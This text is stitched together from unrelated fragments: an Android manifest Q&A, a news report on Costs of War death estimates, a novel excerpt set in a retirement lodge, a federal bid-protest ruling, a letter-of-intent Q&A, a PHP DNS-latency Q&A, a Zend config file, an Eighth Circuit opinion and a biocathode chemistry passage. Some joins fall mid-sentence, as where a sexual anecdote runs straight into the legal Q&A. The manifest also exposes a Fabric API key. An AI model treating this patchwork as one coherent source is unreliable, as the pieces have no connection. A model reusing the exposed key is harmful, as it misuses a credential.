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] | -filter>
<action android:name="com.ipsmarx.dialer.custom.intent.action.SHOW_CALLLOG" />
</intent-filter>
<intent-filter>
<action android:name="com.ipsmarx.dialer.custom.intent.action.SHOW_CHATTHREAD" />
</intent-filter>
<intent-filter>
<action android:name="com.ipsmarx.dialer.custom.intent.action.MSG_STATUS" />
</intent-filter>
</receiver>
<service
android:name="com.ipsmarx.dialer.SipService"
android:enabled="true" />
<service android:name="com.ipsmarx.dialer.ContactSyncService" />
<!--<provider-->
<!--android:name="com.ipsmarx.dialer.MsgDBProvider"-->
<!--android:authorities="@string/app_name"-->
<!--android:exported="false"-->
<!--android:permission="android.permission.CONFIGURE_SIP" />-->
<receiver
android:name="com.ipsmarx.pushnotification.GcmBroadcastReceiver"
android:permission="com.google.android.c2dm.permission.SEND">
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE" />
<action android:name="com.google.android.c2dm.intent.REGISTRATION" />
<category android:name="com.ipsmarx.dialer" />
</intent-filter>
</receiver>
<service android:name="com.ipsmarx.pushnotification.GCMIntentService" />
<activity
android:name="com.ipsmarx.newdesign.SignUp"
android:label="@string/title_activity_sign_up"
android:screenOrientation="portrait" />
<activity
android:name="com.ipsmarx.newdesign.SignUpByPhone"
android:label="@string/title_activity_sign_up_by_phone"
android:screenOrientation="portrait" />
<activity
android:name="com.ipsmarx.newdesign.ForgotPassword"
android:label="@string/title_activity_forgot_password"
android:screenOrientation="portrait" />
<activity
android:name="com.ipsmarx.video.RTCActivity"
android:configChanges="orientation|screenSize"
android:excludeFromRecents="true"
android:label="@string/app_name"
android:launchMode="singleTask"
android:screenOrientation="fullUser"
android:windowSoftInputMode="stateHidden" />
<meta-data
android:name="io.fabric.ApiKey"
android:value="6b5afe577fa0e4476d354af38bcdc075eee398a6" />
<meta-data
android:name="com.google.android.gms.version"
android:value="@integer/google_play_services_version" />
<activity
android:name="com.google.android.gms.ads.AdActivity"
android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestScreenSize|uiMode"
android:theme="@android:style/Theme.Translucent"
tools:replace="android:configChanges" />
<activity
android:name="com.google.android.gms.ads.purchase.InAppPurchaseActivity"
android:theme="@style/Theme.IAPTheme" />
</application>
</manifest>
I am using Android Studio 3.3.1 and Gradle 4.10.1
I am trying to figure it from last two hours and not getting idea whats wrong in my code. Let me know if someone can help me for solve the issue. Thanks
A:
your Manifest.xml is corrupt, this:
<action android:name="com.google.android.gms.actions.SEARCH_ACTION" />
<category android:name="android.intent.category.DEFAULT" />
should be (android.intent.action.MAIN is optional):
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<action android:name="com.google.android.gms.actions.SEARCH_ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
The United States' so-called War on Terror has killed about half a million people in Iraq, Afghanistan, and Pakistan, according to a new estimate from the Costs of War Project at Brown University's Watson Institute.
"This update just scratches the surface of the human consequences of 17 years of war."
—Neta C. Crawford, The Costs of War Project
"This new body count signals that, far from diminishing, the war is only intensifying," Stephanie Savell, co-director of the project, pointed out in a piece for Axios. The overall death toll "is an increase of 113,000 over the last count, issued just two years ago."
The new report (pdf) estimates that since 2001, between 480,000 and 507,000 people have been killed because of war violence in those three nations—a tally that does not include "the more than 500,000 deaths from the war in Syria, raging since 2011, which the U.S. joined in August 2014," and "indirect deaths," or those killed by war's impact on public health, such as limiting access to food, water, hospitals, and electricity.
Over 480,000 have died due to direct war violence in Iraq, Afghanistan, and Pakistan, but the number of indirect deaths - because, for example, of war-related disease -- is several times larger. See our paper at https://t.co/Q8RuLYE3br — The Costs of War (@CostsOfWar) November 8, 2018
The "direct deaths" accounted for in the estimate include U.S. military, contractors, and Defense Department employees; national military and police as well as other allied troops; opposition fighters; civilians; journalists; and aid workers. About half of those killed were civilians—between 244,000 and 266,000 across Iraq, Afghanistan, and Pakistan. Up to 204,000 of them were Iraqis.
While the U.S. government has repeatedly underestimated the costs of waging war, since the project launched in 2011, its team has aimed to provide a full account of the "human, economic, and political costs" of post-9/11 U.S. military action in the Middle East, "and to foster better informed public policies."
This latest report comes on the heels of the U.S. midterm elections in which Democrats took control of the U.S. House of Representatives. Looking forward, Savell suggested that "House Democrats will try to advance a national security strategy emphasizing restraint and accountability for the costs of the War on Terror."
Outlining some expressed goals from a handful of House Democrats, Savell wrote for Axios:
SCROLL TO CONTINUE WITH CONTENT Never Miss a Beat. Get our best delivered to your inbox.
Research shows that governments become more careful when civilian deaths from "collateral damage" are reported on. A wave of Democrats now in control of the House plan to push for just that. Representative Ro Khanna says he wants to hold as many as three days of hearings with Trump's national security team to "justify, for the American people, what our mission is, what the costs are, what the risks are, and why we're there." Representative Adam Smith, poised to become chairman of the House Armed Services Committee, plans to increase oversight of the military, and others led by Representative Barbara Lee hope to end the war in Afghanistan.
Regardless of how Democrats in the House proceed, Neta C. Crawford, a Boston University political science professor who co-directs the Costs of War Project, argued in the report's conclusion that there is a need to keep the public more informed about the consequences of the seemingly endless wars in the Middle East in order to drive demands for improving U.S. foreign policy.
"This update just scratches the surface of the human consequences of 17 years of war," Crawford wrote. "Too often, legislators, NGOs, and the news media that try to track the consequences of the wars are inhibited by governments determined to paint a rosy picture of perfect execution and progress."
"The U.S. has made some effort to increase transparency," she acknowledged, "but there are a number of areas—the number of civilians killed and injured, and the number of U.S. military and veteran suicides, for instance—where greater transparency would lead to greater accountability and could lead to better policy."
Day by day, the casualties grow, largely unnoticed by the American public and our lawmakers. This is why we need to #EndEndlessWar. https://t.co/ |
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] | . "Annabel Walker. You should say hello if we run into her while you're here."
"Really?" The word is drawn-out and forbidding. "Are her parents here too?"
"No. They both died. He had a heart attack, she had cancer. Breast, I think." Ridiculous to go through this sort of alarmed conversational dance years after everyone's emotions, except Nancy's, apparently, were thoroughly settled.
"I see. You never said."
"No, well, why would I?"
Nancy looks down into her wine, looks back up. "Weird for Annabel to end up back here if her parents are gone. And running a—what's it called?—retirement lodge."
"Yes, and I can tell you people are touchy if it's confused with a nursing home. I don't know why she's come back. Her brother is off being an engineer someplace in Asia, I think. But some people do seem to want to return to where they began."
"I can't imagine anything worse."
No doubt.
Nancy sighs. "You'll need to give me whatever authorization gets me into the storage place so I can get started on sorting. I don't suppose there's any furniture left in the house?"
"Well, no. Because I wouldn't be going back. And it needs to be empty on closing day."
"Then I'll have to look around for a place to stay. Can you suggest a motel? Is the ABC still in business?"
Oh, that Nancy. She's got far more of Sylvia in her than bones.
"I have no idea," Sylvia says curtly. "But I could scarcely recommend it anyway to someone as virtuous as yourself. I can, however, recommend you grow up and get over it. You can be very tiresome, Nancy." What a shame. It's all gone wrong. Again. Sylvia pushes herself to her feet. "We're both too old for this. Let's take a tour, so you can see that if nothing else, this place will do fine." Both their wineglasses make discernible clicks on Sylvia's coffee table. How much blood does Nancy want?
Perhaps she wants something more tender, more, oh, _maternal_ than a mere uncrossing of arms and that single dragged-out, dredged-up _My dear._
In the lounge, Greta and Ruth look up with interest from what appears to be another effort to cheer George. Greta's effort, anyway, since it's her hand on his knee. Ruth is in the soft nearby chair that's become hers as long as there's someone to help her out of it. By and large she strikes Sylvia as a person who observes closely and carefully, although not maliciously. It would be interesting to know what she watches for. "You must be Sylvia's daughter," Greta says. "You are the very image."
Indeed. "Yes, this is Nancy. I'm showing her around, trying to reassure her I was smart to move myself here."
"Oh yes," says Ruth, "it's quite pleasant so far. We're just talking with George about how we should enjoy ourselves while the staff take all the cares and chores off our shoulders. And then too, your mother," she advises Nancy, "encourages us to keep lively."
"I bet she does."
There's a silence as they absorb the mystifying chill of that before Greta says, "It is nice you visit your mother. I have three daughters who were here to help me move in, and George's daughter has been here twice from far away. She has left again today to go home, and we are reminding George that our children have their lives and we must get on with ours. Would you not say so, Sylvia?"
She certainly would, and given Nancy's mood, the sooner the better.
Except that's not the entire state of affairs. It's also true that now and then, although usually not until nightfall, when there's no seeing the river or skyline and even the best suite grows barren and cramped, good reason to pour a little more wine—at any rate, it's true that now and then, including right now in full daylight, Sylvia's spirits plunge downwards like stones from the sky. It's hard to stay armoured. Love and history—even without looking too closely, those can be hard to bear. "George's daughter," she tells Nancy, "was pleased about her father moving here, especially since it's new and in demand. She and her husband live out west, right, George?"
"Umph," he says sadly.
"And," Ruth pipes up, "since she's a busy banker, it's unusual she's been able to get away as much as she has. How long will you be staying, Nancy?"
"Only a couple of days, and I gather I have a lot of sorting to do. In fact, now I've seen around the place, Mother, I'll be off. I'll find a hotel and drop in here tomorrow, but if there's as much to deal with as you say, I won't have much time." And off she marches. As stiff-necked as her mother ever has been.
If imitation's what it's cracked up to be, there should be a way to feel honoured by that.
Sylvia sighs. She rests a hand on George's shoulder, which means he has her hand there, Greta's hand on his knee, which is a great deal of attention and comfort for the one man among them, so she takes hers away so that he doesn't grow spoiled. Perhaps he is already spoiled by women, perhaps that's his problem. "Really, George, you must know we can't rely on our children. Certainly not to make us happy. And it's years since they've been around all the time anyway."
"Umph," he says again. How determined he is to be downcast.
Still, even when they're gloomy, Sylvia doesn't consider these unuseful companions. George keeps the fierce little ember of rebellion alight, however misguided his tactics. For her part, Ruth knows from her work a staggering and reassuring amount about truly bad mothers; although that's balanced by the sterling Greta, whose daughters evidently care to such an extent that most evenings right after dinner, one or another calls to check how she's doing, or she calls one or another of them. Presumably that is love, and presumably among mothers and daughters—among anyone—it must be a very nice thing to feel.
**9**
**CARPE DIEM...**
**_S_** YLVIA HAS GIVEN uncountable dinner parties in her day, organized charity auctions, canvassed for political purposes, danced charmingly at the country club with total strangers, served at various times on the boards of the local art gallery, the theatre, the child welfare agency for which, as it happens, Ruth Friedman worked—an irony, perhaps, given the abuse Sylvia's own daughter feels she has suffered. She has lived with a husband and daughter, then just a husband, and for the past three years as a widow in a large house alone. She has travelled with that husband to quite a few countries, visiting museums and cathedrals and hotels, and restaurants with unusual foods, although never, and this is too bad, to the many places on earth where the sights would have been radically foreign to her.
Whatever else all that means, she has plenty of experience in adaptability and shifting gears. So Ruth, Greta and George are a breeze, all things considered—not particularly deferential, but with their own virtues; including a mutual determination, not by any means shared by all Idyll Inn residents, not to maunder on endlessly confiding their ailments. Also, they don't really gossip much. Discretion is often underrated when it comes to companions, but not by Sylvia. Rummaging about in the nature of humans is a worthwhile endeavour, no doubt about that, and she's acquainted with a fair number of residents and enjoys a good natter herself, but it's...unnerving how much time some people can spend performing autopsies on the lives, real or fictional, of their fellow citizens.
"He drank, you know," someone in the lounge or dining room will remark. Or "She'd come into the hospital bruised up and down and swear she'd tripped and fallen downstairs." To which someone else will point out, "She had all those children, though, one after the other. What was she to do?" "I don't know, but if Bob had ever raised a hand to me, he'd have been a goner. And it's no favour to the children—look at hers, two of them hellions who landed in jail."
It's not so much the tales themselves, but the undertone of satisfaction at other people's misfortunes— _schadenfreude,_ one of the few foreign words Sylvia's used that Greta has grasped. "A drug addict, you know," a beamish Pauline Parker will announce with regard to someone else's grandson. "Joined one of those cults, and no one sees him any more," Jocelyn Reynolds will offer about another. In the telling their own offspring are, by contrast, professionally successful and personally triumphant. Rather like Greta's librarian and soap-seller and druggist—never a mention of disappointments or failures.
|
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] | received in response to
the 181 Solicitation, “[t]he C[ontracting]O[fficer] is required to see if an award can be made
at a reasonable price, when comparing the SDVOSB concerns’ proposals with each
other,” relying on FAR Section 15.404-1(b)(2)(i) for support. (emphasis in original). As
indicated in the Administrative Record, however, the ‘276 Solicitation was designated as
“a commercial item acquisition using Simplified Acquisition Procedures under the
authority of FAR 13.5 Simplified Procedures for Certain Commercial Items.” Even if FAR
Part 15 was applicable, protestor’s reliance on FAR Part 15 is unavailing. As discussed
above, FAR Part 15 allows a Contracting Officer to evaluate whether the submitted price
was fair and reasonable using different information sources including comparison of the
40
submitted prices with historical prices and the IGCE. Should the Contracting Officer find
the bids to not be fair and reasonable, as he did for all the bids received in response to
the ‘181 Solicitation, the Contracting Officer is not restricted to evaluating prices solely
from within the SDVOSB context when deciding to solicit or cancel the ‘181 Solicitation
and establishing the ‘276 Solicitation as a 100% small business set-aside instead. See
generally 48 C.F.R. § 15.404-1.
FAR Part 13 grants a contracting officer discretion to evaluate the fairness and
reasonableness of prices based on comparisons with the IGCE, incumbent pricing,
market research, and personal experience with similar contracts. This includes the
flexibility and discretion to evaluate factors not related to SDVOSBs in determining
whether an offeror’s price proposal was fair and reasonable. In protestor’s earlier bid
protest for the ‘276 Solicitation denied by the GAO, the GAO stated:
Neither 38 U.S.C. § 8127(d) nor its implementing regulations require the
contracting officer to utilize a specific type of analysis to decide whether the
agency can reasonably expect to make an award to an SDVOSB at a fair
and reasonable price. By their terms, section 13.106 and 15.404 of the FAR
apply where an agency is evaluating proposed prices in response to a
competition. They are not mandated where, as in this case, an agency is
conducting market research to assess the propriety of a set-aside decision.
Moreover, it defies logic that an agency would be limited to utilizing pricing
from a competition that was cancelled because all the prices were found to
be unreasonably high as the yardstick for reasonableness. Rather, under
such circumstances a contracting officer has the discretion to reasonably
utilize other price analysis techniques such as consideration of an IGCE
when making a set-aside decision.
In re: Veteran Shredding, LLC, B-417399, 2019 WL 2490468, at *4 (footnotes omitted)
(internal citations omitted). This court agrees with the GAO that the Contracting Officer,
pursuant to either FAR Part 13 or Part 15, was not required to conduct comparisons solely
within the SDVOSB context to determine fair and reasonable prices.
The Contracting Officer’s actions were not arbitrary or capricious when he acted
within his discretion to evaluate prices via market research in determining that the ‘276
Solicitation should be a 100% small business set-aside. Following the cancellation of the
‘181 Solicitation, the Contracting Officer conducted multiple rounds of market research.
In March 2018 and January 2019, the Contracting Officer searched government
databases using parameters to narrow down the possibilities of VOSB, SDVOSB, and
small businesses which may be capable of fulfilling the MVAHCS document destruction
services contract. The March 2018 market research produced a shortlist of VOSBs,
which, after reviewing, the Contracting Officer found none could perform the requirements
of the contract. A search for small businesses which might be able to perform the
MVAHCS document destruction services contract generated potentially, more positive
results than the search for VOSBs using the same NAICS and SIN codes.
The Contracting Officer issued a Sources Sought notice in June 2018 which
elicited responses from two SDVOSBs and two small businesses. The two SDVOSB
41
responses came from [redacted] and protestor, vendors which had submitted some of the
high bids for the ‘181 Solicitation. Since the June 2018 Sources Sought was only three
months after the issuance and cancellation of the ‘181 Solicitation, it was not
unreasonable for the Contracting Officer to expect that the document destruction services
market had not significantly changed in the intervening three months. Additionally, the
Contracting Officer considered [redacted]’s and protestor’s behaviors during the ‘181
Solicitation. The Contracting Officer requested price revisions following the initial
submission of proposals in response to the ‘181 Solicitation because “none of the
quotations received were fair and reasonable because all pricing significantly exceeded
the IGCE.” The Contracting Officer “suggested that the 5 offerors review the incumbent
contractor’s pricing (Shred N Go) and provide final revised pricing” “[i]n an effort to obtain
fair and reasonable pricing” for the ‘181 Solicitation. [redacted] did not decrease its bid
after the Contracting Officer made his request and its proposed price remained
[redacted]% over the IGCE. Protestor decreased its bid, but still remained [redacted]%
above the IGCE for the ‘181 Solicitation. The Contracting Officer therefore had a
reasonable expectation that [redacted] and protestor would not “submit fair and
reasonable pricing that fell within the funding allocated for the re-solicitation of the
document destruction services requirement for MVAHCS.”
For the subsequent market research in January 2019, the Contracting Officer
issued another Sources Sought notice for the MVAHCS document destruction services
contract on January 23, 2019. [redacted], [redacted], and one small business responded.
As discussed above, [redacted] did not decrease its bid during the course of the ‘181
Solicitation and [redacted]’s had a history of high bids for document destruction services
solicitations at the Black Hills, St. Cloud, and Fargo VA Healthcare Systems. As a result,
the Contracting Officer did not act arbitrarily or capriciously when he concluded he could
not reasonably expect two or more VOSBs and SDVOSBs to make acceptable offers
based on the bidding patterns received for the ‘181 Solicitation, informal outreach, and
responses to two different Sources Sought notices.
Although the protestor alleges that new market research was done but “the IGCE
remained entirely unmodified,” there is no suggestion in the briefs or the Administrative
Record that the Contracting Officer’s approach was improper. The Contracting Officer
could reasonably conclude from his market research that two or more small businesses
could submit bids for the MVAHCS document destruction services contract. The
Contracting Officer’s search through government databases revealed more small
businesses than VOSBs or SDVOSBs which could potentially meet the contract
requirements. Additionally, two small businesses, [redacted] and [redacted] responded to
the June 2018 Sources Sought notice and were evaluated to be capable of providing the
requisite document destruction services. The incumbent small business vendor, Shred-
N-Go, twice expressed interest. The Contracting Officer also had knowledge about the
capabilities of five small businesses holding VA Healthcare document destruction
contracts in his geographic procurement area. The Contracting Officer, therefore, properly
could conclude that there was a reasonable expectation that two or more small
businesses, which could submit bids such that the ‘276 Solicitation could be set-aside for
small businesses.
42
Protestor alleges the IGCE relied on an unreasonable, incumbent, contract price
of $44,000.00 and argues there is “no analysis regarding the reasonableness of Shred-
N-Go’s contract price.” Protestor’s allegation is not supported by the Administrative
Record. Although Amendment 001 to the ‘276 Solicitation stated the incumbent’s contract
was worth $44,000.00, the base year estimates for the ‘181 and ‘276 Solicitations were
$[redacted] and $[redacted], respectively. Additionally, $[redacted] was requisitioned on
January 8, 2019 for incumbent Shred-N-Go in Requisition 618-19-2-6133-0149 for a year
of “SERVICE/DOCUMENT DESTRUCTION.” (capitalization in original). Consequently,
protestor does not persuasively argue why the IGCE necessarily relied on an incumbent
price of $44,000.00 or why the reliance on incumbent pricing was unreasonable.
Protestor tries to rely on Nutech Laundry & Textile, Inc. v. United States, 56 Fed.
Cl. 588 (2003) to argue the IGCE “failed to demonstrate the basis for the estimate,” was
not accompanied by “a description of cost figures upon which it is based nor the basis”
and, therefore, was inappropriately used as a point of price comparison. The above-
|
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] | back to see what else we might like. M, Westchester NY; married 20 years.
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Despite the varied frequency of sex I have had, all these experiences taught me one thing: M, Westchester NY; married 20 years. I Attempted a Day Sex Challenge. He almost always wants to do something right away, but I usually shoo him off. We like to leave family events for quickies and then come back.what does letter of intent legal meaning?
Answer(s)
Not much from my point of view. The "letter" is merely an indication one of the parties is giving terms for the other party to consider....subject to completion of a formal contract which would then be binding legally. Such letters can be helpful to avoid the back and forth of negotiations.
Letter of intent is not legally binding. This is a indication of an intention to base a contract on. The LOI spells out the terms by which one party makes an offer to another party. Many changes can be made to the LOI before it is accepted by the LL.
The letter of Intent states your true interest in the purchasing of the property. Its purpose is to initiate the bargaining of the sale terms. You specify the price you are willing to pay, your conditions, the amount you will give as earnest money, down payment, etc. You can offer to present upon request your credentials as a buyer, developer..) Assuming that the seller has several buyers interested in the property, with the letters of intent, he can select who of those are the strongest buyers based on what they are offering and requesting. If the seller agree/likes to the terms of the LOI, then attorneys start talking to enter into formal negotiations to prepare the contract. I believe a good LOI is important to put your self in front of the rest when many others want the same property.
The letter of intent (LOI) is used to negotiate the main points of the contract or lease. Once the main points are agreed upon, a formal agreement is drafted and more specific terms are set forth. It has been argued more than once in court that a LOI can be legally binding but your broker or attorney can insert language to help protect you from the binding aspect.
A LOI is written specifically to be non-binding, with wording specifying that only a formal contract is binding. My preference is to come in with an actual contract rather than an LOI. When I receive a LOI, our counter will always be an actual contract. Many of the "TV Real Estate Gurus" have canned LOI's for their students to use. When I receive one of those canned LOI's, it goes directly into the circular file.
LOI's are a formal letter that expresses interest to go into a contract with a specific set of terms but is non-binding in nature and has no legal consequences. Think of it like an engagement vs marriage, and it is commonly used to showcase to the seller their is strong consideration of the property. LOI's should also be used to express any terms that have been negotiated in some capacity. If terms have not been negotiated, often is the case in which your broker should do so prior to submitting it, otherwise you may be offering more than necessary. Use your broker to put together and seek advice on generally acceptable terms based on the current local market. They will always vary with every deal since not any deal is the same, however depending on the demand and marketability of the property, your broker should be well informed to negotiate accordingly. Anyone looking in the Buffalo, NY area seeking professional real estate advisory, I am happy to offer representation to you. Call 716-864-1929.
There are also binding letters of intent. Make sure you are clear as if the letter is binding or not. In the purchase of a property by a developer, there are many instances where the Letter of Intent is binding and can potentially tie a property up if executed.
A Letter of Intent (LOI), is generally considered a non-binding agreement stating basic points of preliminary negotiated terms of what a Buyer or Seller would agree to IF the property was to be purchased or sold. It should state in writing in the LOI that it is non-binding. The LOI should always be in simple and basic terms and verbiage that is not intimidating to your client. NOTE: I have had a prospective buyers' broker that was an attorney attempt to manipulate the verbiage in the the LOI, even though it stated in writing that it was non-binding, Their attempt to manipulate my seller caused them to lose the property to someone else. The seller was very offended by them. Intimidation does not work. Simple and basic communication works best for all parties involved. This is not legal advice. Always consult with the appropriate professionals for legal advice. Good luck!
A letter of intent is just that. It is a non-binding indication of the interest of a potential buyer. This is often the preferred first step in negotiating on a commercial property where the eventual contingencies of a purchase are not yet known or will change. Upon a reply from the owner to the potential buyer, a contract may be the be the next step. Otherise this vehicle provides a non-binding proposal or counter proposal before a buyer must spend sometimes substantial amounts to further evaluate all aspects of the properrty.
LOI's are an instrument used to make an offer on commercial and certain other types of properties. In general, it will outline the intent to purchse, purchase price and terms. It is the first step in the process and once agreed to. the sellers attorney usually, not always, writes up a formal contract of sale. The LOI is not legally binding. All final terms are negotiated via the contract of sale.
Depending upon the state you are located within, a letter of intent is binding. Some courts also have different factors in determining whether or not the agreement can be binding, including the actions of the party. A signed letter of intent essentially states that you are agreeing to agree or negotiate terms of a particular transaction. It also indicates that you are acting in good faith to come to a meeting of the minds on the transaction as a whole. You can place non-binding language in the LOI, but depending upon whom your client is and what is being negotiated determines whether or not such a clause will be beneficial. BTW, I am a licensed attorney.
IMHO Diana K's answer is best so far. Remember, in order for a contract to be formed, it must be intelligible, or ascertainable of a fixed meaning, and provide enough particulars so that there is no inherent frustration of purpose and it must be accepted. An offer must be made and accepted for a contract to be formed. Only when a contract is formed is it binding. On the other hand, one can be estopped from going back on his word if another relies upon that word to his detriment. The principals of estoppel, ratification, authority to bind, ostensible authority, express authority, agency and principal relationships and implied authority are thing you really need to understand to understand when you are binding yourself. For purposes of this answer, just remember, your word is your bond in this business so be careful and precise when you try to say what you mean. If you are not sure how to say what you mean, consult an attorney. If you are not well familiar with the list of terms m just mentioned, you need to brush up before making any deals. Examples of contract formation process: "I am offering you $1,000,000 cash for your property as is with no contingencies if you accept this offer by tomorrow." would bind you if the seller wrote you back tomorrow stating to the effect, your offer of yesterday, in which you offer to buy my property with no contingencies for $1,000,000 cash in US dollars is accepted; you can deliver the cash to me in front of city hall by 5:00 p.m.." would be a contract formation which would bind both parties because a meeting of the minds is evidenced in the two statements that is clear and intelligible. However, if the buyer then does not show up with the money, and asks to give the money the next day, say, because the acceptance came too late for him to dig up the cash from the back yard before 5:00 p.m., then an extension of time to perform could be requested. and the buyer could argue that the acceptance was untimely and thus did not bind him. If on the other hand the original offer stated if you accept by noon, then the acceptance would have to be delivered by noon in order for a binding contract to be made. If no place for exchange of the money is designated by either party and made known to the other, there is an inherent frustration of purpose because neither knows where to go to exchange the money and thus consummate the deal. i.e. the contract is too vague to be intelligible on this point. In either case, if the seller said "Great" but I need assurance you will record the deed," a |
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#endif
Q:
PHP file_get_contents($url) slow performance
My web page uses Google charts to produce five graphs. If the graphs are not already cached, I have the following line of code that retrieves the image.
$image = file_get_contents("http://chart.apis.google.com/chart?".$query);
When that code is executed in a loop, it takes 10 seconds to get each image. But, if I change the code as to use one of Google's ip addresses instead of the url:
$image = file_get_contents("http://74.125.93.100/chart?".$query);
It takes less than one second to retrieve the images. So my initial thought was that DNS is not resolving the URL and the delay is from cycling through the assigned DNS servers? So I tried to ping chart.apis.google.com from the server and it immediately returned a reasonable response.
So my question is: Is there any PHP (or Apache2) configuration setting that I may be overlooking that may cause this delay, or does this sound like a server configuration issue?
A:
Your DNS resolving is slow (the DNS your server is using can be a broblem, then most of the other domains could be slow) or your server has problems using the DNS cache.
In any case, if you don't have some specific reasons to manipulate the image received from google charts, why don't you just print out it as an img tag? You can overlay texts or transparent png-s with css if you want.
A:
Got the same problem here. It might be a DNS issue... maybe the apache server
which use DNS servers that are too slow.
i have tried differents ways: CURL, WGET (shell exec)... and still got the same performance issue.
It takes about 15 seconds on my production server. But on my local server (which uses IP) takes less than 1.5 seconds with my script.
try /etc/resolv.conf or /etc/named.conf? maybe. I am trying to find a solution.
<?php
/**
* If you need an environment-specific system or application configuration,
* there is an example in the documentation
* @see http://framework.zend.com/manual/current/en/tutorials/config.advanced.html#environment-specific-system-configuration
* @see http://framework.zend.com/manual/current/en/tutorials/config.advanced.html#environment-specific-application-configuration
*/
return [
// Retrieve list of modules used in this application.
'modules' => require __DIR__ . '/modules.config.php',
// These are various options for the listeners attached to the ModuleManager
'module_listener_options' => [
// This should be an array of paths in which modules reside.
// If a string key is provided, the listener will consider that a module
// namespace, the value of that key the specific path to that module's
// Module class.
'module_paths' => [
'./module',
'./vendor',
],
// An array of paths from which to glob configuration files after
// modules are loaded. These effectively override configuration
// provided by modules themselves. Paths may use GLOB_BRACE notation.
'config_glob_paths' => [
realpath(__DIR__) . '/autoload/{{,*.}global,{,*.}local}.php',
],
// Whether or not to enable a configuration cache.
// If enabled, the merged configuration will be cached and used in
// subsequent requests.
'config_cache_enabled' => true,
// The key used to create the configuration cache file name.
'config_cache_key' => 'application.config.cache',
// Whether or not to enable a module class map cache.
// If enabled, creates a module class map cache which will be used
// by in future requests, to reduce the autoloading process.
'module_map_cache_enabled' => true,
// The key used to create the class map cache file name.
'module_map_cache_key' => 'application.module.cache',
// The path in which to cache merged configuration.
'cache_dir' => 'data/cache/',
// Whether or not to enable modules dependency checking.
// Enabled by default, prevents usage of modules that depend on other modules
// that weren't loaded.
// 'check_dependencies' => true,
],
// Used to create an own service manager. May contain one or more child arrays.
//'service_listener_options' => [
// [
// 'service_manager' => $stringServiceManagerName,
// 'config_key' => $stringConfigKey,
// 'interface' => $stringOptionalInterface,
// 'method' => $stringRequiredMethodName,
// ],
// ],
// Initial configuration with which to seed the ServiceManager.
// Should be compatible with Zend\ServiceManager\Config.
// 'service_manager' => [],
];
United States Court of Appeals
FOR THE EIGHTH CIRCUIT
___________
No. 98-2145/98-2146
___________
Eddie David Cox, *
*
Appellant, * Appeal from the United States
* District Court for the Western
v. * District of Missouri.
*
United States of America, * [UNPUBLISHED]
*
Appellee. *
___________
Submitted: March 16, 2000
Filed: April 5, 2000
___________
Before HANSEN and FAGG, Circuit Judges, and NANGLE,1 District Judge.
___________
PER CURIAM.
Eddie David Cox was convicted of six counts of impersonating a federal agent,
one count of possession of cocaine with the intent to distribute, two counts of being a
felon in possession of a firearm, and two counts of interference with interstate
commerce by robbery. The district court sentenced Cox to 36 months on each
impersonation charge, 240 months on each robbery charge, 360 months on the drug-
related charge, and life imprisonment on both firearm counts. When Cox filed a 28
1
The Honorable John F. Nangle, United States District Judge for the Eastern
District of Missouri, sitting by designation.
U.S.C. § 2255 motion to vacate, set aside, or correct judgment and sentence, the
district court reduced his 360-month drug offense sentence to 210 months and denied
the balance of his motion without an evidentiary hearing. Cox also moved
unsuccessfully for a reduction of his sentence under 18 U.S.C. § 3582(c)(2). Cox
appeals, and we affirm.
Cox first contends the district court committed error in denying his § 2255
motion without an evidentiary hearing. We disagree. The district court properly denied
Cox's § 2255 motion without a hearing because Cox's allegations, accepted as true, do
not entitle him to relief. See Payne v. United States, 78 F.3d 343, 347 (8th Cir. 1996).
In his § 2255 motion, Cox alleges he received ineffective assistance of counsel because
his trial attorney adopted a defense strategy focusing on the lack of physical evidence
supporting the Government's case rather than following Cox's suggested strategy of
claiming he "was only extorting money from [a drug dealer], rather than robbing him"
(Appellant's Br. at 20) and because Cox's trial counsel did not engage in a reasonable
investigation to support Cox's theory of defense. Cox cannot prevail on this claim of
ineffective assistance because Cox has not shown that, given the alternative trial
strategy suggested by Cox, his counsel's strategy was either unconstitutionally
unreasonable or prejudicial to Cox. See Strickland v. Washington, 466 U.S. 668, 687
(1984); Payne, 78 F.3d at 345-48.
Cox also claims his counsel was ineffective for failing to argue that the armed
career criminal enhancement, see 18 U.S.C. § 924(e), did not apply to Cox.
Specifically, Cox alleges he received a Kansas Certificate of Discharge (certificate),
which restored his civil rights after a 1960 state kidnapping conviction and thus
prohibited counting the kidnapping conviction as one of the three predicate offenses
required to apply the enhancement. Again, we disagree. As the district court
concluded, the certificate did not restore Cox's right to possess firearms for five years
after his release from prison. Due to Cox's extensive criminal activity, he has not been
out of prison for a total of five years since the issuance of the certificate and so the
-2-
certificate has not yet become effective. At his 1990 sentencing, Cox, then age 55, told
the district court that since age 21 he had been out |
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] | dependent. When the cathode potential was not low enough to reduce proton, electrons were bifurcated reducing both high and low redox potential electron carriers. The former is used to reduce sulfate and the latter to reduce proton conserving in both reduction reactions. Based on these facts, it is believed that hydrogen production would be inhibited in the presence of sulfate or sulfate-dependent because SRB conserve more energy reducing sulfate than reducing proton as shown in Figure [6](#F6){ref-type="fig"}. Figure [8](#F8){ref-type="fig"} describes the possible electron bifurcation flow for SRB growth on cathode used to reduce proton and sulfate. Lower sulfate concentration is actually good for SRB respiration (\<288 mg/L) and promoted proton reduction. The hydrogen evolution decrease dramatically when more sulfate was added (\>288 mg/L) as more electrons were utilized by reducing sulfate instead of protons.
![**(A)** Proposed electron flow and possible final destinations of the supplied electrons being utilized in producing various end products (modified after Mand et al., [@B29]), **(B)** description of electron bifurcation flow in sulfate-reducing bacteria-dominated biocathode to generate hydrogen and reduce sulfate.](fchem-06-00318-g0008){#F8}
